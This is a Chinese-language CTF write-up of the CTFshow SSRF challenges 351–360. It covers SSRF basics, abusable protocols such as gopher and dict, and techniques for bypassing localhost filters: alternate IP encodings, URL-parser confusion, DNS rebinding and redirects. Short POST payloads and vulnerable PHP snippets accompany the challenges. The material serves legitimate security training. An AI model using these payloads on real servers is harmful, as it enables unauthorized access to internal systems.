CTFshowSSRF

SSRF基础

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

相关函数和类

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活

绕过方法

  • http://0.0.0.0/

    测试了下这个方法只能在linux下使用,windows并不认识这个IP

  • http://foo@127.0.0.1:80@www.google.com/hint.php

    此处利用了不同库解析url的差异

    不过这个方法在curl较新的版本里被修掉了,buu上的环境也无法使用

  • DNS Rebinding

    用这个,将同一域名绑定在不同的IP下,这样返回DNS请求查询的时候随机返回一个,就导致判断和真正curl发送请求的不是同一个IP

  • http://127。0。0。1/hint.php

    这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧

  • http://127.1/hint.php

    ip2long('127.1')会返回false,这里可以绕过

    但是gethostbyname在linux下会把127.1变为127.0.0.1,所以这题是无法使用的

    不过windows下经过gethostbyname后依然是127.1,curl是支持127.1这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1,apache会返回一个400 Bad Request

    但是这样构造的gopher请求是可行的

  • 进制绕过

  • 和127.1类似,也是存在不能用http的问题,但是gethostbyname并不会有影响,可用比如

    gopher://0177.0.0x0001:80
  • http://127.0.0.1./

    curl不支持

351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
# curl_init — 初始化 cURL 会话    
# curl_setopt — 设置一个cURL传输选项
# curl_exec — 执行 cURL 会话
# curl_close — 关闭 cURL 会话
payload:
POST:
url=http://127.0.0.1/flag.php

352

parse_url函数作用是将一个URL拆分,格式如下:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
?>
以上例程会输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)

同上即可

353

绕过127.0.0.1,可使用进制转换或其他IP

进制转换:
整数转换过程,将每一位IP转换为二进制并进行拼接
2130706433 //十进制整数
0x7F.0.0.1 //十六进制
0177.0.0.1 //八进制
0x7F000001 //十六进制整数
其他IP:
127.127.127.127
0
0.0.0.0

354

过滤没了,只能指向其他域名

1、将自己域名解析为127.0.0.1

2、将自己网站设置为302重定向到127.0.0.1

355

用0或者127.1

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

356

更短了只能用0

357

gethostbyname — 返回主机名对应的 IPv4地址
# php filter函数
filter_var()	获取一个变量,并进行过滤
filter_var_array()	获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

由于获取到了指向域名的IP值所以域名指向127.0.0.1不再生效,只能使用302重定向或者DNS rebinding(DNS重新绑定攻击)

DNS rebinding:

攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

358

正则匹配要求URL以http://ctf.开头,以show结尾

一个完整的URL的格式如下

http://username:password@hostname/path?arg=value#anchor

其中hostname就是我们平常使用的网址,我们只需要让username位置为ctf.,让anchor位置为show即可

payload:
POST
url=http://ctf.@127.0.0.1/flag.php#show

359

随便输入个用户名密码尝试登录

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 01.12.20.png)

抓包发现returl参数可能存在SSRF注入点,使用Gopherus生成攻击payload

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 22.36.11.png)

写入之后访问即可

360

同上

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 22.44.48.png)